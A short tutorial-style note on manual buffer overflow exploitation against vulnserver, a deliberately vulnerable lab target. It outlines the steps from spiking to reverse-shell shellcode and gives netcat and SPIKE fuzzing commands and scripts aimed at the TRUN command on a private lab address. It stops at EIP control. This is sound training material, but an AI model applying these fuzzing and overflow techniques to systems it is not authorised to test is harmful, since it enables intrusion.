Buffer overflow

A buffer overflow occurs when the volume of data exceeds the storage capacity of memory buffer. As a result, the program attempting to write data to the buffer overwrites adjacent memory locations.

Required:

vulnserver grey immunity debugger

Note this is the MANUAL method

// steps to conduct a buffer overflow

1. Spiking (method that we use to find a vulnerable part of the program)
2. Fuzzing (we send bunch of characters to program to see if we break it)
3. Finding the offset
4. Overwriting the EIP
5. Finding bad characters
6. finding the right module
7. Generating the shellcode (malicious shell code to get reverse shell)
8. root!


get vulnserver running (as administrator)
run immunity as admin
file, attach, vulnserver.exe
play button (running)

kali:-# nc -nv ip 9999
HELP
TRUN

# try to break the program (spiking)
generic_send_tcp 192.168.1.90 9999 stats.spk 0 0

stats.spk
s_readline();
s_string(*STATS &);
s_string_variable("0");

trun.spk for vuln TRUN
s_readline();
s_string(*TRUN &);
s_string_variable("0");

generic_send_tcp 192.168.1.90 9999 trun.spk 0 0

overwritten ESP, EIP (control EIP)

Last updated